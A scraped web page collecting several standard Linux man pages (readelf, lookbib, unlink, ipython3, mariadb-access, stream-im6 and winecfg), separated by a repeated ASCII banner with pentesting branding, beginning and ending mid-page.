readelf [-a|–all] [-h|–file-header] [-l|–program-headers|–segments] [-S|–section-headers|–sections] [-g|–section-groups] [-t|–section-details] [-e|–headers] [-s|–syms|–symbols] [–dyn-syms|–lto-syms] [–sym-base=[0|8|10|16]] [–demangle*=style*|–no-demangle] [–quiet] [–recurse-limit|–no-recurse-limit] [-U method|–unicode=method] [-X|–extra-sym-info|–no-extra-sym-info] [-n|–notes] [-r|–relocs] [-u|–unwind] [-d|–dynamic] [-V|–version-info] [-A|–arch-specific] [-D|–use-dynamic] [-L|–lint|–enable-checks] [-x <number or name>|–hex-dump=<number or name>] [-p <number or name>|–string-dump=<number or name>] [-R <number or name>|–relocated-dump=<number or name>] [-j <number or name>|–display-section=<number or name>] [-z|–decompress] [-c|–archive-index] [-w[lLiaprmfFsoORtUuTgAck]| –debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links]] [-wK|–debug-dump=follow-links] [-wN|–debug-dump=no-follow-links] [-wD|–debug-dump=use-debuginfod] [-wE|–debug-dump=do-not-use-debuginfod] [-P|–process-links] [–dwarf-depth=n] [–dwarf-start=n] [–ctf=section] [–ctf-parent=section] [–ctf-symbols=section] [–ctf-strings=section] [–sframe=section] [-I|–histogram] [-v|–version] [-W|–wide] [-T|–silent-truncation] [-H|–help] elffile

DESCRIPTION

readelf displays information about one or more ELF format object files. The options control what particular information to display.

elffile… are the object files to be examined. 32-bit and 64-bit ELF files are supported, as are archives containing ELF files.

This program performs a similar function to objdump but it goes into more detail and it exists independently of the BFD library, so if there is a bug in BFD then readelf will not be affected.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent. At least one option besides -v or -H must be given.

-a

–all

Equivalent to specifying –file-header, –program-headers, –sections, –symbols, –relocs, –dynamic, –notes, –version-info, –arch-specific, –unwind, –section-groups and –histogram. Note - this option does not enable –use-dynamic itself, so if that option is not present on the command line then dynamic symbols and dynamic relocs will not be displayed.

-h

–file-header

Displays the information contained in the ELF header at the start of the file.

-l

–program-headers

–segments

Displays the information contained in the file’s segment headers, if it has any.

–quiet
Suppress “no symbols” diagnostic.

-S

–sections

–section-headers

Displays the information contained in the file’s section headers, if it has any.

-g

–section-groups

Displays the information contained in the file’s section groups, if it has any.

-t

–section-details

Displays the detailed section information. Implies -S.

-s

–symbols

–syms

Displays the entries in symbol table section of the file, if it has one. If a symbol has version information associated with it then this is displayed as well. The version string is displayed as a suffix to the symbol name, preceded by an @ character. For example foo@VER_1. If the version is the default version to be used when resolving unversioned references to the symbol then it is displayed as a suffix preceded by two @ characters. For example foo@@VER_2.

–dyn-syms
Displays the entries in dynamic symbol table section of the file, if it has one. The output format is the same as the format used by the –syms option.

–lto-syms
Displays the contents of any LTO symbol tables in the file.

–sym-base=[0|8|10|16]
Forces the size field of the symbol table to use the given base. Any unrecognized options will be treated as 0. –sym-base=0 represents the default and legacy behaviour. This will output sizes as decimal for numbers less than 100000. For sizes 100000 and greater hexadecimal notation will be used with a 0x prefix. –sym-base=8 will give the symbol sizes in octal. –sym-base=10 will always give the symbol sizes in decimal. –sym-base=16 will always give the symbol sizes in hexadecimal with a 0x prefix.

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. This makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

–no-demangle
Do not demangle low-level symbol names. This is the default.

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected.

-U [d|i|l|e|x|h]

–unicode=[default|invalid|locale|escape|hex|highlight]

Controls the display of non-ASCII characters in identifier names. The default (–unicode=locale or –unicode=default) is to treat them as multibyte characters and display them in the current locale. All other versions of this option treat the bytes as UTF-8 encoded values and attempt to interpret them. If they cannot be interpreted or if the –unicode=invalid option is used then they are displayed as a sequence of hex bytes, encloses in curly parethesis characters. Using the –unicode=escape option will display the characters as as unicode escape sequences (\uxxxx). Using the –unicode=hex will display the characters as hex byte sequences enclosed between angle brackets. Using the –unicode=highlight will display the characters as unicode escape sequences but it will also highlighted them in red, assuming that colouring is supported by the output device. The colouring is intended to draw attention to the presence of unicode sequences when they might not be expected.

-X

–extra-sym-info

When displaying details of symbols, include extra information not normally presented. Currently this just adds the name of the section referenced by the symbol’s index field, if there is one. In the future more information may be displayed when this option is enabled. Enabling this option effectively enables the –wide option as well, at least when displaying symbol information.

–no-extra-sym-info
Disables the effect of the –extra-sym-info option. This is the default.

-e

–headers

Display all the headers in the file. Equivalent to -h -l -S.

-n

–notes

Displays the contents of the NOTE segments and/or sections, if any.

-r

–relocs

Displays the contents of the file’s relocation section, if it has one.

-u

–unwind

Displays the contents of the file’s unwind section, if it has one. Only the unwind sections for IA64 ELF files, as well as ARM unwind tables (.ARM.exidx / .ARM.extab) are currently supported. If support is not yet implemented for your architecture you could try dumping the contents of the .eh_frames section using the –debug-dump=frames or –debug-dump=frames-interp options.

-d

–dynamic

Displays the contents of the file’s dynamic section, if it has one.

-V

–version-info

Displays the contents of the version sections in the file, it they exist.

-A

–arch-specific

Displays architecture-specific information in the file, if there is any.

-D

–use-dynamic

When displaying symbols, this option makes readelf use the symbol hash tables in the file’s dynamic section, rather than the symbol table sections. When displaying relocations, this option makes readelf display the dynamic relocations rather than the static relocations.

-L

–lint

–enable-checks

Displays warning messages about possible problems with the file(s) being examined. If used on its own then all of the contents of the file(s) will be examined. If used with one of the dumping options then the warning messages will only be produced for the things being displayed.

-x <number or name>

–hex-dump=<number or name>

Displays the contents of the indicated section as a hexadecimal bytes. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the object file. This option can be repeated multiple times on the command line in order to request multiple hex dumps.

-R <number or name>

–relocated-dump=<number or name>

Displays the contents of the indicated section as a hexadecimal bytes. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the object file. The contents of the section will be relocated before they are displayed. This option can be repeated multiple times on the command line in order to request multiple relocated dumps.

-p <number or name>

–string-dump=<number or name>

Displays the contents of the indicated section as printable strings. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the object file. This option can be repeated multiple times on the command line in order to request multiple string dumps.

-j <number or name>

–display-section

Displays the contents of the indicated section according to its section header type. Sections containing relocations will be displayed as if the –relocations option had been used, sections contains symbols will be displayed as if the –syms option had been used and so on. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the input file(s). This option can be repeated multiple times on the command line in order to request multiple section dumps.

-z

–decompress

Requests that the section(s) being dumped by x, R or p options are decompressed before being displayed. If the section(s) are not compressed then they are displayed as is.

-c

–archive-index

Displays the file symbol index information contained in the header part of binary archives. Performs the same function as the t command to ar, but without using the BFD library.

-w[lLiaprmfFsOoRtUuTgAckK]

–debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links,=follow-links]

Displays the contents of the DWARF debug sections in the file, if any are present. Compressed debug sections are automatically decompressed (temporarily) before they are displayed. If one or more of the optional letters or words follows the switch then only those type(s) of data will be dumped. The letters and words refer to the following information:

“a”

“=abbrev”

Displays the contents of the .debug_abbrev section.

“A”

“=addr”

Displays the contents of the .debug_addr section.

“c”

“=cu_index”

Displays the contents of the .debug_cu_index and/or .debug_tu_index sections.

“f”

“=frames”

Display the raw contents of a .debug_frame section.

“F”

“=frames-interp”

Display the interpreted contents of a .debug_frame section.

“g”

“=gdb_index”

Displays the contents of the .gdb_index and/or .debug_names sections.

“i”

“=info”

Displays the contents of the .debug_info section. Note: the output from this option can also be restricted by the use of the –dwarf-depth and –dwarf-start options.

“k”

“=links”

Displays the contents of the .gnu_debuglink, .gnu_debugaltlink and .debug_sup sections, if any of them are present. Also displays any links to separate dwarf object files (dwo), if they are specified by the DW_AT_GNU_dwo_name or DW_AT_dwo_name attributes in the .debug_info section.

“K”

“=follow-links”

Display the contents of any selected debug sections that are found in linked, separate debug info file(s). This can result in multiple versions of the same debug section being displayed if it exists in more than one file. In addition, when displaying DWARF attributes, if a form is found that references the separate debug info file, then the referenced contents will also be displayed. Note - in some distributions this option is enabled by default. It can be disabled via the N debug option. The default can be chosen when configuring the binutils via the –enable-follow-debug-links=yes or –enable-follow-debug-links=no options. If these are not used then the default is to enable the following of debug links. Note - if support for the debuginfod protocol was enabled when the binutils were built then this option will also include an attempt to contact any debuginfod servers mentioned in the DEBUGINFOD_URLS environment variable. This could take some time to resolve. This behaviour can be disabled via the =do-not-use-debuginfod debug option.

“N”

“=no-follow-links”

Disables the following of links to separate debug info files.

“D”

“=use-debuginfod”

Enables contacting debuginfod servers if there is a need to follow debug links. This is the default behaviour.

“E”

“=do-not-use-debuginfod”

Disables contacting debuginfod servers when there is a need to follow debug links.

“l”

“=rawline”

Displays the contents of the .debug_line section in a raw format.

“L”

“=decodedline”

Displays the interpreted contents of the .debug_line section.

“m”

“=macro”

Displays the contents of the .debug_macro and/or .debug_macinfo sections.

“o”

“=loc”

Displays the contents of the .debug_loc and/or .debug_loclists sections.

“O”

“=str-offsets”

Displays the contents of the .debug_str_offsets section.

“p”

“=pubnames”

Displays the contents of the .debug_pubnames and/or .debug_gnu_pubnames sections.

“r”

“=aranges”

Displays the contents of the .debug_aranges section.

“R”

“=Ranges”

Displays the contents of the .debug_ranges and/or .debug_rnglists sections.

“s”

“=str”

Displays the contents of the .debug_str, .debug_line_str and/or .debug_str_offsets sections.

“t”

“=pubtype”

Displays the contents of the .debug_pubtypes and/or .debug_gnu_pubtypes sections.

“T”

“=trace_aranges”

Displays the contents of the .trace_aranges section.

“u”

“=trace_abbrev”

Displays the contents of the .trace_abbrev section.

“U”

“=trace_info”

Displays the contents of the .trace_info section.

Note: displaying the contents of .debug_static_funcs, .debug_static_vars and debug_weaknames sections is not currently supported.

–dwarf-depth=n
Limit the dump of the .debug_info section to n children. This is only useful with –debug-dump=info. The default is to print all DIEs; the special value 0 for n will also have this effect. With a non-zero value for n, DIEs at or deeper than n levels will not be printed. The range for n is zero-based.

–dwarf-start=n
Print only DIEs beginning with the DIE numbered n. This is only useful with –debug-dump=info. If specified, this option will suppress printing of any header information and all DIEs before the DIE numbered n. Only siblings and children of the specified DIE will be printed. This can be used in conjunction with –dwarf-depth.

-P

–process-links

Display the contents of non-debug sections found in separate debuginfo files that are linked to the main file. This option automatically implies the -wK option, and only sections requested by other command line options will be displayed.

–ctf[=section]
Display the contents of the specified CTF section. CTF sections themselves contain many subsections, all of which are displayed in order. By default, display the name of the section named .ctf, which is the name emitted by ld.

–ctf-parent=member
If the CTF section contains ambiguously-defined types, it will consist of an archive of many CTF dictionaries, all inheriting from one dictionary containing unambiguous types. This member is by default named .ctf, like the section containing it, but it is possible to change this name using the ctf_link_set_memb_name_changer function at link time. When looking at CTF archives that have been created by a linker that uses the name changer to rename the parent archive member, –ctf-parent can be used to specify the name used for the parent.

–ctf-parent-section=section
This option lets you pick a completely different section for the CTF parent dictionary containing unambiguous types than for the child dictionaries that contain the ambiguous remainder. The linker does not emit ELF objects structured like this, but some third-party linkers may. It’s also convenient to inspect CTF written out as multiple raw files to compose them with objcopy, which can put them in different ELF sections but not in different members of a single CTF dict.

–ctf-symbols=section

–ctf-strings=section

Specify the name of another section from which the CTF file can inherit strings and symbols. By default, the .symtab and its linked string table are used. If either of –ctf-symbols or –ctf-strings is specified, the other must be specified as well.

-I

–histogram

Display a histogram of bucket list lengths when displaying the contents of the symbol tables.

-v

–version

Display the version number of readelf.

-W

–wide

Don’t break output lines to fit into 80 columns. By default readelf breaks section header and segment listing lines for 64-bit ELF files, so that they fit into 80 columns. This option causes readelf to print each section header resp. each segment one a single line, which is far more readable on terminals wider than 80 columns.

-T

–silent-truncation

Normally when readelf is displaying a symbol name, and it has to truncate the name to fit into an 80 column display, it will add a suffix of [...] to the name. This command line option disables this behaviour, allowing 5 more characters of the name to be displayed and restoring the old behaviour of readelf (prior to release 2.35).

-H

–help

Display the command-line options understood by readelf.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

objdump (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1271 - Linux cli command lookbib

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lookbib and provides detailed information about the command lookbib, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lookbib.

Name

lookbib - search bibliographic databases

Synopsis

lookbib [-i ** string] [-t ** n] file . . . lookbib –help lookbib -v lookbib –version

Description

lookbib writes a prompt to the standard error stream (unless the standard input stream is not a terminal), reads from the standard input a line containing a set of keywords, searches each bibliographic database file for references containing those keywords, writes any references found to the standard output stream, and repeats this process until the end of input. For each database file to be searched, if an index file*.i* created by

exists, then it will be searched instead; each index can cover multiple databases.

Options

–help displays a usage message, while -v and –version show version information; all exit afterward.

**-i **string
When searching files for which no index exists, ignore the contents of fields whose names are in string.

**-t **n
Require only the first n characters of keys to be given. The default is 6.

Files

file*.i*
Index files.

See also

“Some Applications of Inverted Indexes on the Unix System”, by M. E. Lesk, 1978, AT&T Bell Laboratories Computing Science Technical Report No. 69.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1272 - Linux cli command unlink

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unlink and provides detailed information about the command unlink, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unlink.

NAME 🖥️ unlink 🖥️

call the unlink function to remove the specified file

SYNOPSIS

unlink FILE
unlink OPTION

DESCRIPTION

Call the unlink function to remove the specified FILE.

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by Michael Stone.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

unlink(2)

Full documentation <https://www.gnu.org/software/coreutils/unlink>
or available locally via: info ‘(coreutils) unlink invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1273 - Linux cli command ipython3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ipython3 and provides detailed information about the command ipython3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ipython3.

NAME 🖥️ ipython3 🖥️

Tools for Interactive Computing in Python.

SYNOPSIS

ipython [options]* files*…

ipython subcommand [options]

DESCRIPTION

An interactive Python shell with automatic history (input and output), dynamic object introspection, easier configuration, command completion, access to the system shell, integration with numerical and scientific computing tools, web notebook, Qt console, and more.

For more information on how to use IPython, see ‘ipython –help’, or ‘ipython –help-all’ for all available command‐line options.

ENVIRONMENT VARIABLES

IPYTHONDIR

This is the location where IPython stores all its configuration files. The default is $HOME/.ipython if IPYTHONDIR is not defined.

You can see the computed value of IPYTHONDIR with `ipython locate`.

FILES

IPython uses various configuration files stored in profiles within IPYTHONDIR. To generate the default configuration files and start configuring IPython, do ‘ipython profile create’, and edit ‘*_config.py’ files located in IPYTHONDIR/profile_default.

AUTHORS

IPython is written by the IPython Development Team <https://github.com/ipython/ipython>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1274 - Linux cli command mariadb-access

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-access and provides detailed information about the command mariadb-access, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-access.

NAME 🖥️ mariadb-access 🖥️

access - client for checking access privileges (mysqlaccess is now a symlink to mariadb-access)

SYNOPSIS

**mysqlaccess [**host_name **[**user_name [db_name]]] [options]

DESCRIPTION

mysqlaccess is a diagnostic tool written by Yves Carlier. It checks the access privileges for a host name, user name, and database combination. Note that mysqlaccess checks access using only the user, db, and host tables. It does not check table, column, or routine privileges specified in the tables_priv, columns_priv, or procs_priv tables.

Invoke mysqlaccess like this:

shell> mysqlaccess [host_name [user_name [db_name]]] [options]

mysqlaccess supports the following options.

·

–help, -?

Display a help message and exit.

·

–brief, -b

Generate reports in single-line tabular format.

·

–commit

Copy the new access privileges from the temporary tables to the original grant tables. The grant tables must be flushed for the new privileges to take effect. (For example, execute a mysqladmin reload command.)

·

–copy

Reload the temporary grant tables from original ones.

·

**–db=**db_name, -d db_name

Specify the database name.

·

**–debug=**N

Specify the debug level. N can be an integer from 0 to 3.

·

**–host=**host_name, -h host_name

The host name to use in the access privileges.

·

–howto

Display some examples that show how to use mysqlaccess.

·

–old_server

Connect to a very old MySQL server (before MySQL 3.21) that does not know how to handle full WHERE clauses.

·

–password[=password], -p[password]

The password to use when connecting to the server. If you omit the password value following the –password or -p option on the command line, mysqlaccess prompts for one.

Specifying a password on the command line should be considered insecure. See Section 5.3.2.2, “End-User Guidelines for Password Security”.

·

–plan

Display suggestions and ideas for future releases.

·

–preview

Show the privilege differences after making changes to the temporary grant tables.

·

–relnotes

Display the release notes.

·

**–rhost=**host_name, -H host_name

Connect to the MariaDB server on the given host.

·

–rollback

Undo the most recent changes to the temporary grant tables.

·

–spassword[=password], -P[password]

The password to use when connecting to the server as the superuser. If you omit the password value following the –spassword or -p option on the command line, mysqlaccess prompts for one.

Specifying a password on the command line should be considered insecure. See Section 5.3.2.2, “End-User Guidelines for Password Security”.

·

**–superuser=**user_name, -U user_name

Specify the user name for connecting as the superuser.

·

–table, -t

Generate reports in table format.

·

**–user=**user_name, -u user_name

The user name to use in the access privileges.

·

–version, -v

Display version information and exit.

If your MariaDB distribution is installed in some non-standard location, you must change the location where mysqlaccess expects to find the mysql client. Edit the mysqlaccess script at approximately line 18. Search for a line that looks like this:

$MYSQL = ‘/usr/local/bin/mysql’; # path to mysql executable

Change the path to reflect the location where mysql actually is stored on your system. If you do not do this, a Broken pipe error will occur when you run mysqlaccess.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1275 - Linux cli command stream-im6

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command stream-im6 and provides detailed information about the command stream-im6, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the stream-im6.

NAME 🖥️ stream-im6 🖥️

a lightweight tool to stream one or more pixel components of the image or portion of the image to your choice of storage formats.

SYNOPSIS

stream-im6.q16 [options] input-file output-file

OVERVIEW

Stream is a lightweight tool to stream one or more pixel components of the image or portion of the image to your choice of storage formats. It writes the pixel components as they are read from the input image a row at a time making stream-im6.q16 desirable when working with large images or when you require raw pixel components.

For more information about the stream command, point your browser to file:///usr/share/doc/imagemagick-6-common/html/www/stream.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/stream.php.

DESCRIPTION

Image Settings: -authenticate value decrypt image with this password -channel type apply option to select image channels -colorspace type alternate image colorspace -compress type type of pixel compression when writing the image -define format:option define one or more image format options -density geometry horizontal and vertical density of the image -depth value image depth -extract geometry extract area from image -identify identify the format and characteristics of the image -interlace type type of image interlacing scheme -interpolate method pixel color interpolation method -limit type value pixel cache resource limit -map components one or more pixel components -monitor monitor progress -quantize colorspace reduce colors in this colorspace -quiet suppress all warning messages -regard-warnings pay attention to warning messages -respect-parentheses settings remain in effect until parenthesis boundary -sampling-factor geometry horizontal and vertical sampling factor -seed value seed a new sequence of pseudo-random numbers -set attribute value set an image attribute -size geometry width and height of image -storage-type type pixel storage type -synchronize synchronize image to storage device -taint declare the image as modified -transparent-color color transparent color -verbose print detailed information about the image -virtual-pixel method virtual pixel access method

Miscellaneous Options: -debug events display copious debugging information -help print program options -log format format of debugging information -list type print a list of supported option arguments -version print version information

By default, the image format of `file’ is determined by its magic number. To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps). Specify ‘file’ as ‘-’ for standard input or output.

SEE ALSO

ImageMagick-im6.q16(1)

COPYRIGHT

Copyright (C) 1999-2021 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-6-common/html/www/license.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/license.php

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1276 - Linux cli command winecfg-stable

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command winecfg-stable and provides detailed information about the command winecfg-stable, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the winecfg-stable.

NAME 🖥️ winecfg-stable 🖥️

Wine Configuration Editor

SYNOPSIS

winecfg [options]

DESCRIPTION

winecfg is the Wine configuration editor. It allows you to change several settings, such as DLL load order (native versus builtin), enable a virtual desktop, setup disk drives, and change the Wine audio driver, among others. Many of these settings can be made on a per application basis, for example, preferring native riched20.dll for wordpad.exe, but not for notepad.exe.

If no option is given launch the graphical version of winecfg.

OPTIONS

-v [version], /v [version]
Set global Windows version to version and exit. If version is not specified, display the current global Windows version and exit.

-?, /?
Display help, valid versions for version and exit.

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

winecfg is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
